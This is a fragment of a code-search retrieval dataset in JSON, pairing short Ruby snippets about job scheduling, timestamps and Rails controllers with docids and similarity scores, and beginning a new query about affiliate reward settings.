}, { "docid": "8552ebf7a3bff680620363354430b31e", "score": "0.5456973", "text": "def scheduled_at=(_arg0); end", "title": "" }, { "docid": "e2449148a490ad42db4bc447d9718c39", "score": "0.5453438", "text": "def scheduled_for_launch?\n last_launch and last_launch.to_date > Date.today\n end", "title": "" }, { "docid": "64fc7bdf187b1d3c72f986106aa324bd", "score": "0.54476374", "text": "def job\n @job\n end", "title": "" }, { "docid": "64fc7bdf187b1d3c72f986106aa324bd", "score": "0.54476374", "text": "def job\n @job\n end", "title": "" }, { "docid": "64fc7bdf187b1d3c72f986106aa324bd", "score": "0.54476374", "text": "def job\n @job\n end", "title": "" }, { "docid": "64fc7bdf187b1d3c72f986106aa324bd", "score": "0.54476374", "text": "def job\n @job\n end", "title": "" }, { "docid": "e447c94d711d39d8466d535ed930f9a4", "score": "0.5443084", "text": "def job\n @job\n end", "title": "" }, { "docid": "92ce8c07a94cd813ac8aa6fe78b86469", "score": "0.5438172", "text": "def deadline; end", "title": "" }, { "docid": "142126ab78b6d53412ff9d6a5f7cb8ea", "score": "0.54278004", "text": "def default_time_to_run\n raise \"Not Implemented\"\n end", "title": "" }, { "docid": "6e85b6dc46bb5ee9185e46c4dd235a72", "score": "0.54220796", "text": "def cron; end", "title": "" }, { "docid": "f4d26ccdfb1f5b4a689be2d72bc1ea26", "score": "0.54203737", "text": "def perform_now; end", "title": "" }, { "docid": "2accf5741753dbe1ce34a4fc7b00fb9b", "score": "0.541763", "text": "def performed_jobs; end", "title": "" }, { "docid": "8967306cd519bbdbec039d70054f4faf", "score": "0.5406823", "text": "def now_f\n SidekiqUniqueJobs.now_f\n end", "title": "" }, { "docid": "ad71261779f94bfc2325d000f89414d7", "score": "0.5403169", "text": "def completed?\n self.scheduled_executions != 0 && self.executions.count >= self.scheduled_executions\n end", "title": "" }, { "docid": "5be7f7f20aa634ab2226816a69061a41", "score": "0.53967893", "text": "def auto_date_start\n \tif self.status == 0 # unstarted\n \t\tself.date_started=nil\n \telsif self.status == 1 && self.date_started==nil # started\n \t\tself.date_started=DateTime.now\n \tend\n if self.status == 2 &&self.date_completed==nil # completed\n self.date_completed=DateTime.now\n end \n end", "title": "" }, { "docid": "1757d64e8564f1de9dbf954d5fec89cb", "score": "0.5395767", "text": "def set_current_job(job)\n if job.nil?\n Testributor.worker_current_job_started_at = nil\n Testributor.worker_current_job_cost_prediction = nil\n else\n Testributor.worker_current_job_started_at = Time.now\n Testributor.worker_current_job_cost_prediction = job[\"cost_prediction\"].to_f\n end\n end", "title": "" }, { "docid": "7f3c037b836a129e3f64a608775d24d2", "score": "0.5379556", "text": "def step\n synchronize do\n\n now = Time.new\n minute = now.min\n\n if @exit_when_no_more_jobs\n\n if @pending_jobs.size < 1\n\n @stopped = true\n return\n end\n\n @dont_reschedule_every = true if at_job_count < 1\n end\n\n #\n # cron entries\n\n if now.sec == 0 and \n (minute > @last_cron_minute or \n @last_cron_minute == 59)\n #\n # only consider cron entries at the second 0 of a \n # minute\n\n @last_cron_minute = minute\n\n @cron_entries.each do |cron_id, cron_entry|\n #puts \"step() cron_id : #{cron_id}\"\n trigger(cron_entry) if cron_entry.matches? now\n end\n end\n\n #\n # pending jobs\n\n now = now.to_f\n #\n # that's what at jobs do understand\n\n while true\n\n #puts \"step() job.count is #{@pending_jobs.length}\"\n\n break if @pending_jobs.length < 1\n\n job = @pending_jobs[0]\n\n #puts \"step() job.at is #{job.at}\"\n #puts \"step() now is #{now}\"\n\n break if job.at > now\n\n #if job.at <= now\n #\n # obviously\n\n trigger(job)\n\n @pending_jobs.delete_at(0)\n end\n end\n end", "title": "" }, { "docid": "9912bd2889f15ad62d1c803710cb8a7f", "score": "0.5374654", "text": "def run\n log(\"Daily Job start at #{Time.now}\")\n sql = Sql.new\n sql.z_execute\n sql.z_update_ygt\n log(\"Daily Job finish at #{Time.now}\")\n end", "title": "" }, { "docid": "79139e1f3b278d654269591e0b07b50c", "score": "0.5363282", "text": "def timestamp\n Rake::EARLY\n end", "title": "" }, { "docid": "df1c5332bb6fc5f02bc4d02370c73262", "score": "0.5355071", "text": "def deliver_now\n @job_options = {}\n @job_method = :perform_now\n end", "title": "" }, { "docid": "f56389827ffca3deee4b77d4c52a2c26", "score": "0.53483075", "text": "def start_time=(_arg0); end", "title": "" }, { "docid": "17c66a0e4f3b4b67a17c524151d3569b", "score": "0.5343395", "text": "def timestamp\n if(File.exist?(taskfn))\n File.mtime(taskfn)\n else\n Rake::EARLY\n end\n end", "title": "" }, { "docid": "014ec41dd705b6c619d3b5ca3e5e9b1d", "score": "0.53255147", "text": "def job_started(_job)\n end", "title": "" }, { "docid": "647e16540fa8e14296ff366c88b1221d", "score": "0.5323539", "text": "def last_enqueue_time; end", "title": "" }, { "docid": "b384ac54e77e17e1c776e9886a776560", "score": "0.53134274", "text": "def source_scheduled_for_backup?(latest_job, bs, data_set)\n # Definitely needs backup if no backup jobs have been created for it\n return true if latest_job.nil?\n \n #puts \"latest backup job for #{bs.description} (ds: #{data_set}) finished at #{latest_job.finished_at}\"\n\n if latest_job.finished?\n # If last job finished successfully, compare finish time to cutoff\n if latest_job.successful? \n latest_job.finished_at < cutoff_time(data_set)\n else\n # otherwise, schedule it if error did not occur too recently\n time_since_failed = (Time.now.utc - latest_job.finished_at)\n retry_interval = EternosBackup::DataSchedules.min_backup_retry_interval(data_set)\n #puts \"Last job failed #{time_since_failed} ago\"\n #puts \"ds retry interval = #{retry_interval}\"\n #puts \"scheduling? #{time_since_failed > retry_interval}\"\n time_since_failed > retry_interval\n end\n else\n # handle case where job crashes without saving error or finish time\n latest_job.expired?(data_set)\n end \n end", "title": "" }, { "docid": "c8eb45a2be8106a1502bb60ef7e52212", "score": "0.53048635", "text": "def next_time\n execution_time = SidekiqScheduler::RedisManager.get_job_next_time(name)\n\n relative_time(Time.parse(execution_time)) if execution_time\n end", "title": "" }, { "docid": "8ee980285f450dad0c0456581df16b5f", "score": "0.52963376", "text": "def last_run; end", "title": "" }, { "docid": "ab486d5bb49a1d321f660fbcdc5a124e", "score": "0.5292657", "text": "def new\n @job = Job.new :start_date => Time.now.strftime('%m/%d/%Y')\n end", "title": "" }, { "docid": "e81749faa8c60bca649de613d1843eb8", "score": "0.5284205", "text": "def completion_date_time\n return @completion_date_time\n end", "title": "" }, { "docid": "d0fcf4bf97b181d4075df7d16de23495", "score": "0.5279379", "text": "def last_run\n\t\t@last_run\n\tend", "title": "" }, { "docid": "02b393ff1bacca10de23d7757041ab0d", "score": "0.5274272", "text": "def timestamp\n prerequisites = @prerequisites.collect{ |n| n.is_a?(Proc) ? n.call(name) : n }.flatten\n prerequisites.collect { |n| Task[n].timestamp }.max || Time.now\n end", "title": "" }, { "docid": "957ff7528e9a0774bd9961f03b926d51", "score": "0.5262794", "text": "def timestamp\n prerequisites = @prerequisites.collect{ |n| n.is_a?(Proc) ? n.call(name) : n }.flatten\n prerequisites.collect { |n| Task[n].timestamp }.max || Time.now.to_i\n end", "title": "" }, { "docid": "5019bcf233b5c8609ca00648c2ef1fe0", "score": "0.5257503", "text": "def startJob \n\t\t\n\tend", "title": "" }, { "docid": "2361246c13e27a80b63452ae8d57cc96", "score": "0.52513057", "text": "def perform(start_date)\n puts \"SideKiq is currently running a scrape job that started at #{start_date}\"\n # put scrape job here\n save_model\n end", "title": "" }, { "docid": "6ca5c224eeab07744c6f076e31b0caec", "score": "0.5249773", "text": "def plan_message\n send_date = message_type.day * 20\n MessageJob.set(wait: send_date.seconds).perform_later(self.id)\n end", "title": "" }, { "docid": "3494e9035d864d65e780cb087f26d39d", "score": "0.52490175", "text": "def run_goveas_20131031_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"goveas_20131031_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('goveas_20131031_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting goveas_20131031_upload -MOVED T+O SHARED_RETIRED.rb\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n \n \n end", "title": "" }, { "docid": "03b12789c8445918ffb8f38f58314bb8", "score": "0.52451956", "text": "def finish!\n # Make sure the task is saved, setting 'finished_at'\n self.finished_at = DateTime.current\n save\n\n # Send the user an e-mail\n UserMailer.job_finished_email(dataset.user.email, to_param).deliver\n end", "title": "" }, { "docid": "1d8a071257814dc65c3fec53c494f608", "score": "0.52443326", "text": "def create\n job_errors = true\n unless job_params[:scheduled_collection_time] =~ /\\A[0-9][0-9]?\\.[0-9][0-9]?\\.[1-9][0-9]{3}( [0-2][0-9]:[0-6][0-9])?\\z/ &&\n job_params[:scheduled_delivery_time] =~ /\\A[0-9][0-9]?\\.[0-9][0-9]?\\.[1-9][0-9]{3}( [0-2][0-9]:[0-6][0-9])?\\z/\n error = t(\"jobs.date_format\")\n job_errors = error\n params[:job].except! :scheduled_delivery_time\n params[:job].except! :scheduled_collection_time\n else\n @job = Job.new(job_params)\n @job.status = Job::OPEN\n @job.shuttle = false if @job.shuttle.nil?\n @job.actual_collection_time = @job.scheduled_collection_time\n @job.actual_delivery_time = @job.scheduled_delivery_time\n driver = Driver.find_by( id: job_params[:driver_id])\n @job.driver = driver\n @job.created_by_id = current_user.id\n @job.route_id = Route.find_or_create( params[ :job ][ :from_id ] , params[ :job ][:to_id] )\n if @job.scheduled_collection_time > @job.scheduled_delivery_time\n error = t(\"jobs.date_error\")\n if job_errors == true\n job_errors = [ error ]\n else\n job_errors << error\n end\n end\n if params[:co_driver_ids].present? && params[:co_driver_ids].length > 0 && @job.shuttle?\n if job_errors == true\n job_errors = [ \"Auftrag kann nicht mehrere Fahrer haben und ein Shuttle sein.\" ]\n else\n job_errors << \"Auftrag kann nicht mehrere Fahrer haben und ein Shuttle sein.\"\n end\n end\n end\n\n if params[:co_driver_ids].present? && params[:co_driver_ids].length > 0\n params[:co_driver_ids].each do |co_driver_id|\n Passenger.create(driver_id: co_driver_id, job: @job)\n end\n end\n\n respond_to do |format|\n if job_errors == true && @job.save\n AuftragsMailer.job_confirmation(@job,current_user).deliver\n format.html { redirect_to jobs_path, notice: t(\"jobs.created\") }\n else\n @co_driver_ids = params[:co_driver_ids] || []\n @job = Job.new(job_params)\n @drivers = Driver.get_active\n @addresses = Address.get_active\n\n flash[:error] = job_errors\n format.html { render :action => 'new' }\n end\n end\n end", "title": "" }, { "docid": "b92a0996519bd6ddb0de3d04d476fde9", "score": "0.52417785", "text": "def start_time; end", "title": "" }, { "docid": "b92a0996519bd6ddb0de3d04d476fde9", "score": "0.52417785", "text": "def start_time; end", "title": "" }, { "docid": "b92a0996519bd6ddb0de3d04d476fde9", "score": "0.52417785", "text": "def start_time; end", "title": "" }, { "docid": "b92a0996519bd6ddb0de3d04d476fde9", "score": "0.52417785", "text": "def start_time; end", "title": "" }, { "docid": "9c0cbdbcc7720c31c6a2b1617bfa432f", "score": "0.52409124", "text": "def quality_updates_rollback_start_date_time\n return @quality_updates_rollback_start_date_time\n end", "title": "" }, { "docid": "e3496242be96698d6af462729cd70f73", "score": "0.5240817", "text": "def start_time\n \tself.schedule_on\n\tend", "title": "" }, { "docid": "0a037b4f1014b5a045a1386032fb6cd8", "score": "0.5235715", "text": "def schedule\n @command=sprintf(\"export REVNO=#{@revnum}; export MACHINE=#{@machine}; %s -t %s -f %s/%s.job\",AT,@attime,JOB_SCRIPT_PATH,@machine)\n # Run the at command:\n begin\n system(@command)\n rescue => err\n print($stderr,\"ERROR: Problem queueing job: #{err}\")\n end \n end", "title": "" } ]
8e584ee5b88f5423ae896fe0af3eaabe
Helper method. Call this when you want to log an info message. Logs to the standard logger.
[ { "docid": "5fbfa04f035feb8512a10eb202c94919", "score": "0.0", "text": "def info(description)\n SC.logger.info(description)\n end", "title": "" } ]
[ { "docid": "860e5fdcf858cf6cf65032d74d350f27", "score": "0.8694632", "text": "def info(info)\n @logger.info info\n end", "title": "" }, { "docid": "2801a31f8dbb8644183a7075f752d610", "score": "0.8627331", "text": "def info(msg)\n log msg, :info\n end", "title": "" }, { "docid": "6227ab3f6c3671ea3f5863a0178a8653", "score": "0.8450472", "text": "def info(msg)\n log.info msg\n end", "title": "" }, { "docid": "a545366db76446909efe26f2090c8287", "score": "0.84040695", "text": "def info(msg)\n @logger.info msg\n end", "title": "" }, { "docid": "9d173cb7d730921e58c02d0a5b20b1dd", "score": "0.83941287", "text": "def info(msg)\n logger.info(\"#{self}: #{msg}\")\n end", "title": "" }, { "docid": "936932747ee12bf8efe06b18fe4aeaa0", "score": "0.8388211", "text": "def log_info(msg)\n puts msg\n end", "title": "" }, { "docid": "7e64063be5d3f0f5a2364627c78447e9", "score": "0.83592576", "text": "def info(msg)\n log(:info, msg)\n end", "title": "" }, { "docid": "534e6cbaacfcade10d869029d6493b49", "score": "0.8358329", "text": "def log_info(message)\n logger.info message if logging_enabled?\n end", "title": "" }, { "docid": "b7d71d0650f21146e3a69309fb022a24", "score": "0.8345179", "text": "def log_info(message)\n logger.info(message)\n end", "title": "" }, { "docid": "f975083007d371eb21e2a5607213061e", "score": "0.83344734", "text": "def info(msg)\n logger.info(\"#{self.class}: #{msg}\")\n end", "title": "" }, { "docid": "fb43a429cfdea92075d7cd5872b43617", "score": "0.8324685", "text": "def log_info(message)\n logger.info(message) if logger && logger.info?\n end", "title": "" }, { "docid": "c45a6df3023a250291ef7886e68ee0a8", "score": "0.83041865", "text": "def info(*args); log(INFO, *args); end", "title": "" }, { "docid": "7fb5d618108df2060fc0c9b8a24c28df", "score": "0.82843876", "text": "def info(msg) log(INFO, \"INFO \" << format(msg)); end", "title": "" }, { "docid": "c7829e56538070e2e05662d773527845", "score": "0.8246618", "text": "def logInfo(message)\n SingleLogger.instance.info message\n puts message\n end", "title": "" }, { "docid": "19e9fb3239219c19f561ae693e325949", "score": "0.82395774", "text": "def info(msg)\n @logger.info(msg)\n end", "title": "" }, { "docid": "b865cd2fd5202f4c8f2c5fb382451ca8", "score": "0.82330656", "text": "def info(msg)\n log(Logger::INFO, msg)\n end", "title": "" }, { "docid": "2c3835547765b5ce0d54ce81fddeb4b3", "score": "0.8223597", "text": "def info(message)\n log(message, :info)\n end", "title": "" }, { "docid": "e3f5d42ac8b64f691897de0bb923f30c", "score": "0.81834507", "text": "def info(msg)\n @logger.log(:info, from, msg)\n end", "title": "" }, { "docid": "46f19e5d34fa69731e24d381b95be213", "score": "0.81815434", "text": "def info_log(msg)\n Amigrind::Core::Logging.logger.info msg\n end", "title": "" }, { "docid": "cca1633e7a299545dab30999b6863d98", "score": "0.8178223", "text": "def info(msg)\n log(Logger::INFO, msg)\n end", "title": "" }, { "docid": "7c4ecf56a21c03c0394afb71e4171078", "score": "0.8157659", "text": "def info(message)\n log(:info, message)\n end", "title": "" }, { "docid": "5026f5866a6927a250f73a60a6d8752e", "score": "0.814765", "text": "def info(msg)\n log_msg(:info, msg, full_name())\n end", "title": "" }, { "docid": "c6a2ed1a446fb311ed6ccec2a92d4aa5", "score": "0.8107901", "text": "def info *args\n return unless Rubix.logger\n Rubix.logger.log(Logger::INFO, args.join(' '))\n end", "title": "" }, { "docid": "746b4064a88343b2bef6e86c7e38ab26", "score": "0.80969894", "text": "def info(message)\n log(:info, message)\n end", "title": "" }, { "docid": "3ca119a9f772802169aed4543d6c6e1d", "score": "0.80885893", "text": "def log_info(message)\n logger.info(format_message(message)) if logger.info?\n end", "title": "" }, { "docid": "60042964870056be25824a45eaab26c8", "score": "0.8056535", "text": "def log_info(message)\n add_log(Logger::INFO, message)\n end", "title": "" }, { "docid": "4ef178a1246e41070be13fb2e604b4d9", "score": "0.8004223", "text": "def info(message, *args)\n\t\t\tlog(INFO, message, *args)\n\t\tend", "title": "" }, { "docid": "e9fd6383501241d9142e8069221a9ca8", "score": "0.7962611", "text": "def info(title, message, options={}, &block)\n self.log(title, message, options.merge(:level => Logger::INFO), &block)\n end", "title": "" }, { "docid": "ce6dac86c5af7ec97cde85048f9640ba", "score": "0.79622626", "text": "def info\n old_logger = logger_off\n InfoHelper.new(self).print\n logger_on(old_logger)\n end", "title": "" }, { "docid": "ebc91501d00153e35cadd05ebb8ee9b4", "score": "0.7931409", "text": "def info\n old_logger = logger_off\n InfoHelper.new(self).print_info\n logger_on(old_logger)\n end", "title": "" }, { "docid": "8fd247fb9ce848fe3f6a7d4589c999be", "score": "0.7922163", "text": "def log_info(msg)\n Logging.log_msg(msg || yield, Logger::INFO)\n end", "title": "" }, { "docid": "8c2522ce746e57d27cf8b2e10a52378b", "score": "0.79126817", "text": "def info(description); logger.info(description); end", "title": "" }, { "docid": "2fbce00813d632adb4df515c2693ca20", "score": "0.7911816", "text": "def info(*args)\n Logger[self.class.name].info(*args)\n end", "title": "" }, { "docid": "8ddfa4a8bb08b69f6efbfdda60a5a399", "score": "0.7898573", "text": "def info(msg, &block)\n log_message(:info, msg, &block)\n end", "title": "" }, { "docid": "8ddfa4a8bb08b69f6efbfdda60a5a399", "score": "0.7898573", "text": "def info(msg, &block)\n log_message(:info, msg, &block)\n end", "title": "" }, { "docid": "03bc8b01eb301582c7bdc15f4a5e0879", "score": "0.7856172", "text": "def info(message)\n Deployment::Log.logger.info \"#{self}: #{message}\"\n end", "title": "" }, { "docid": "8df245ab9bae6ba0762165bc1feaaf46", "score": "0.7851231", "text": "def info message = nil, &block\n if block_given?\n add ::Logger::INFO, nil, message, &block\n else\n add ::Logger::INFO, message\n end\n end", "title": "" }, { "docid": "ae58e833b6a33c8601d0659788512e55", "score": "0.7851041", "text": "def log_info(message, args=nil)\n log_each(:info, args ? \"#{message}; #{args.inspect}\" : message)\n end", "title": "" }, { "docid": "8ef663c8ab83ad91c115097827c5f0cd", "score": "0.7823254", "text": "def log_info(msg, verbose = nil)\n \n verbose = @verbose if verbose.nil?\n\n AppLogger.log.info(msg)\n puts msg if verbose\n end", "title": "" }, { "docid": "7a09c0f61227a8723c9523636ae41835", "score": "0.7802677", "text": "def info(message)\n begin\n I3::log.info(@appname) { message }\n rescue\n STDERR.puts(\"Error logging INFO: %s (%s)\" % [message, $!.to_s])\n end\n end", "title": "" }, { "docid": "19e8b79a7ded0ed92b590f5387bc96e1", "score": "0.7798623", "text": "def log_info(message)\n Rails.logger.info(message)\n end", "title": "" }, { "docid": "19e8b79a7ded0ed92b590f5387bc96e1", "score": "0.7798623", "text": "def log_info(message)\n Rails.logger.info(message)\n end", "title": "" }, { "docid": "d6d21b42bcaa30d44622522f6a5edf9f", "score": "0.7793853", "text": "def info(message = nil, ex = nil, data = nil, &block)\n _log(INFO, message, ex, data, &block)\n end", "title": "" }, { "docid": "ad18207bdd61f30ef77c65d14655b86a", "score": "0.7784185", "text": "def log_info(message, args=nil)\n log_each(:info, args ? \"#{message}; #{args.inspect}\" : message)\n end", "title": "" }, { "docid": "75417f4f776dbfc9c65644465f725e92", "score": "0.7764567", "text": "def info(message = nil, &block)\n logger.add(Logger::INFO, message, self.logging_prefix, &block)\n end", "title": "" }, { "docid": "5a0484da3fa07a1c05dffbcdb161a1ca", "score": "0.7748474", "text": "def info(*args, &block)\n get_logger(args[1]).info(args[0], &block)\n end", "title": "" }, { "docid": "eb51bb05720bdd30798eaa90a7f2b9f2", "score": "0.77088416", "text": "def info(*args)\n log.info(*args)\n p(:info, *args)\n end", "title": "" }, { "docid": "257fc79190174a86e926070c6e5f72ba", "score": "0.7704881", "text": "def log_info(message, args=nil)\n log_each(:info, args ? \"#{message}; #{args.inspect}\" : message)\n end", "title": "" }, { "docid": "11c90bd001e793a7d3a471972412a570", "score": "0.7703461", "text": "def info(msg)\n begin\n @log.info(msg)\n rescue Exception => e\n puts e.message\n end\n end", "title": "" }, { "docid": "5b9597ce4ae5aa75f764dff32a39ee4e", "score": "0.7698497", "text": "def info_log(info)\n log(stdout: \"\\e[43m\\e[30m #{info}\\e[0m\", stderr: '', cmd: '', return: 0)\n end", "title": "" }, { "docid": "bac25830f2d9b3c40d3f526ce8362877", "score": "0.76866883", "text": "def info(msg = nil)\n if @logger\n msg = build_log(msg || yield, ActionCommand::LOG_KIND_INFO)\n @logger.info(format_log(msg))\n end\n end", "title": "" }, { "docid": "f127e7a049be0d698b7db2ea4a7eb882", "score": "0.7669502", "text": "def info_log(progname,msg)\n #stdout\n $logger.info(progname) {msg}\n #file\n # $logger_file.info(progname) {msg}\n end", "title": "" }, { "docid": "e6414597c65ae58ef2caa30dd366fc2e", "score": "0.76634884", "text": "def info!\n self.level = INFO\n end", "title": "" }, { "docid": "cd0c45cf5f4ef821221c5c3e8189bec7", "score": "0.7662969", "text": "def log_it(message)\n @logger.info(message)\n end", "title": "" }, { "docid": "bf3fa9aeeca1b2cb4d57cb710e2bb5c2", "score": "0.76474756", "text": "def info(message, key = nil)\n log(message, key, :info)\n end", "title": "" }, { "docid": "eaccd060a16f04e3fc053ad7b73fd163", "score": "0.7643237", "text": "def info(text)\n Rails.logger.info text\n end", "title": "" }, { "docid": "80ad3f4c3d03d8aae1f7423a958160bf", "score": "0.763921", "text": "def info!(internal_message)\n log \"INFO: #{internal_message}\"\n end", "title": "" }, { "docid": "6527b523bb3577a5bb3a9d84478c0161", "score": "0.76317996", "text": "def info(message, *p)\n log_object.info(format(message, *p))\n nil\n end", "title": "" }, { "docid": "a0f4ea97fb269d0e6d63eef09eee46dc", "score": "0.761572", "text": "def info(message)\n logger.info(PROG_NAME) { message }\n end", "title": "" }, { "docid": "5aec62abdfbc96997e07ce1960f4e21b", "score": "0.7598688", "text": "def log(message)\n logger.info(message) if logger && logger.info\n end", "title": "" }, { "docid": "c9b8e558d56b75e94b77d0ddd335fda0", "score": "0.7592982", "text": "def loginfo(message)\n file, line, function = caller[0].split(':')\n @logger.log('INFO', message, file, function, line.to_i)\n self\n end", "title": "" }, { "docid": "d8df159723874892489b0c9a7e9c1259", "score": "0.7589608", "text": "def info(message, options = {})\n _filtered_logger_message(message, :info, nil, options)\n end", "title": "" }, { "docid": "8755bf77da5c757f30c254248c38a142", "score": "0.75792843", "text": "def info(*messageList,&body)\n logging(LevelInfo, *messageList, &body) ;\n end", "title": "" }, { "docid": "a0888c95e77e7a94df2b63a7b712e026", "score": "0.75690484", "text": "def info(*args)\n JobRunner.current_logger.info(*args)\n\n @@local_log.info(*args)\n end", "title": "" }, { "docid": "d7f25e11a6b5a7379a99eab85a65fc98", "score": "0.75579286", "text": "def info(*args,&block)\n if args.length <= 1\n logger.info(*args,&block)\n else\n logger.info(args,&block)\n end\n end", "title": "" }, { "docid": "dfecf0cf98ae7e8ea8245952b165924c", "score": "0.7556651", "text": "def log_info(msg)\n puts msg.color(:cyan).bright\n end", "title": "" }, { "docid": "6f754e491986d466c0e786034cb191d7", "score": "0.75391823", "text": "def info(message)\n puts message if info?\n end", "title": "" }, { "docid": "d96b35026b01694f4a537f75aa62b25e", "score": "0.75369626", "text": "def info(msg)\n write msg, :info\n end", "title": "" }, { "docid": "95b8da660c49122d4129c5e103d860e1", "score": "0.7527719", "text": "def info(data, &blk)\n data = coalesce_strings_to_hash(data)\n data = data.merge(:level => \"info\") if data.is_a?(Hash)\n @log.log(data, &blk)\n end", "title": "" }, { "docid": "f9fae6d060d726d784c1c9636390d289", "score": "0.75216717", "text": "def loggingInfo(_label, *_values)\n loggingInspected(:info, _label, *_values) ;\n end", "title": "" }, { "docid": "34f82fca50ac44108421aafe7e78bf55", "score": "0.75162864", "text": "def info(text, additional_data = {})\n begin\n @logger.info(text)\n rescue\n #ignore\n ensure\n send_log(:info, text, additional_data)\n end\n end", "title": "" }, { "docid": "c4a7b4ffc2f2c5143c42d2e400035429", "score": "0.7473751", "text": "def info(message, &block)\n @logger.info(message, &block) if @logger\n end", "title": "" }, { "docid": "ae871bcdbb5ed309ec1249e2fe6df563", "score": "0.7470985", "text": "def info\n logger.add(Logger::INFO, nil, facility) { yield } if logger\n end", "title": "" }, { "docid": "df426765e46fe5d38cd40e7d9e2e83c6", "score": "0.74665195", "text": "def log_info(msg = nil)\n if block_given?\n @caller.log_info(@logger_name) { yield }\n else\n @caller.log_info(@logger_name, msg)\n end\n end", "title": "" }, { "docid": "8d403f9b1191bfdd72309468b870698a", "score": "0.7463648", "text": "def info(message='')\n @logfile.write(\"#{Time.now}#{INFO}#{message}\\n\")\n @logfile.rewind\n end", "title": "" }, { "docid": "104310c82396246a317deacdc6a5cf1c", "score": "0.74620545", "text": "def log_info(message)\n Rails.logger.info message\n # output to stdout for visibility into running background jobs\n puts \"#{DateTime.now.to_s} - #{message}\"\n end", "title": "" }, { "docid": "e3571f0959f198686aa145406154c12b", "score": "0.7447815", "text": "def info(data, &blk)\n data = data.merge(:level => \"info\") if data.is_a?(Hash)\n Log.log(data, &blk)\n end", "title": "" }, { "docid": "9bdd0c40433ffc46b694783b1dc000d6", "score": "0.74408096", "text": "def info *strs\n dolog(*strs) { |s| Logger.info s }\n end", "title": "" }, { "docid": "5d0b52c4465639c0d8cab34d721e85b5", "score": "0.7434532", "text": "def log_info(message) # may get redefined below\n puts message\nend", "title": "" }, { "docid": "5d0b52c4465639c0d8cab34d721e85b5", "score": "0.7434532", "text": "def log_info(message) # may get redefined below\n puts message\nend", "title": "" }, { "docid": "91eb814ef979cff353cb91191a36de1c", "score": "0.7427153", "text": "def info(level,msg,progname=nil)\n\t\tend", "title": "" }, { "docid": "c1c7683cfd9d835e32231482ca631c8f", "score": "0.74172974", "text": "def log_info\n if logger\n logger.info(log_key){ yield }\n end\n end", "title": "" }, { "docid": "6c4b02e5d7e5a84fdffb3d524950ede2", "score": "0.73858076", "text": "def notify_info(message)\n notify_log({:type => \"info\", :message => message})\n end", "title": "" }, { "docid": "a9fd4e49d6528dffe0f53ae66e2df439", "score": "0.7384708", "text": "def log_info(iMsg)\n # Log into stdout\n if (@ScreenOutput)\n $stdout << \"#{iMsg}\\n\"\n end\n if (@LogFile != nil)\n log_file(iMsg)\n end\n end", "title": "" }, { "docid": "237cfb581f9b374da11edcb9eae8f698", "score": "0.73616385", "text": "def info str\n puts \"log: #{str}\" if @logging\n end", "title": "" }, { "docid": "b3438c5d91e9fbd279ec874aa9490562", "score": "0.73506176", "text": "def log(msg)\n _logger.info(msg)\n end", "title": "" }, { "docid": "3889e56c7901973e7c8a12755f2cb14d", "score": "0.731898", "text": "def info(message:)\n ::Inspec::Log.info ::String.new message\n\n self\n end", "title": "" }, { "docid": "3889e56c7901973e7c8a12755f2cb14d", "score": "0.731898", "text": "def info(message:)\n ::Inspec::Log.info ::String.new message\n\n self\n end", "title": "" }, { "docid": "f7ad4d22cb784632ca29401a80d9caaf", "score": "0.7318001", "text": "def write(message)\n log(:info, message)\n end", "title": "" }, { "docid": "bc12afbd19e69a18e46c1115cac771d4", "score": "0.73069674", "text": "def info(message)\n @logger.formatter = proc do |_severity, _datetime, _progname, msg|\n \"#{msg}\"\n end\n @writer.formatter = proc do |_severity, _datetime, _progname, msg|\n \"#{msg}\"\n end\n @logger.info message\n @writer.info message\n end", "title": "" }, { "docid": "21ea571235833aff244aefcb3c266f28", "score": "0.72822535", "text": "def info(message)\n log.info(message)\n stdout message\n end", "title": "" }, { "docid": "a630b65f33968ac3cee42c72669584d6", "score": "0.72794795", "text": "def info(str)\n log(\"info\", str)\n end", "title": "" }, { "docid": "110eed7d7759ac4b09c10ac57564ef7b", "score": "0.72665906", "text": "def info s\n puts s\n RAILS_DEFAULT_LOGGER.info s\n end", "title": "" }, { "docid": "decee9719136db02fc8f95c37edb5979", "score": "0.72543657", "text": "def info(args)\n Socky.logger.info args.join(\" \")\n end", "title": "" }, { "docid": "e24582a1907c33a689858e04cb0cf3f5", "score": "0.7241562", "text": "def info(*args)\n add_message(:info, *args)\n end", "title": "" }, { "docid": "53eea96eef4e52bfa91c514b0017ae91", "score": "0.7241559", "text": "def info(msg,mode =nil)\n\n return if mode == :debug and not @debug\n\n if @logger.nil? then\n t = Time.now\n s = t.strftime('%Y-%m-%d %H:%M:%S.%L')\n puts \"#{s} => #{msg}\"\n else\n if mode == :debug\n @logger.debug(msg)\n else\n @logger.info(msg)\n end\n end\n\n end", "title": "" }, { "docid": "ad5c330ae2c95553d1bf073a6e9aa31b", "score": "0.7239205", "text": "def info message\n @syslog.info '%s', message\n end", "title": "" }, { "docid": "db683f34169b34ff0fb13e1b93d5a52b", "score": "0.72384566", "text": "def log_info(info_message)\n uuid = SecureRandom.uuid\n\n Rails.logger.info(\"#{info_message.body} - ID: #{uuid}\")\n end", "title": "" }, { "docid": "9eaf9dd6d41916a9d32943c138b5a78f", "score": "0.72235185", "text": "def info(message = \"\")\n puts message\n end", "title": "" }, { "docid": "1644bbdd4377ff008d7c3ffa651c24ec", "score": "0.7214599", "text": "def write(msg)\n add(Logger::INFO, msg)\n end", "title": "" }, { "docid": "935565858e55d86d4dc023eceeb59b87", "score": "0.7213404", "text": "def put_info(message)\n Chef::Log.info(message)\n STDOUT.puts('INFO: ' + message)\n end", "title": "" } ]
fcd39474a8e3d28bbc1b2b37a5169fa0
GET /affiliate_reward_settings/1 GET /affiliate_reward_settings/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
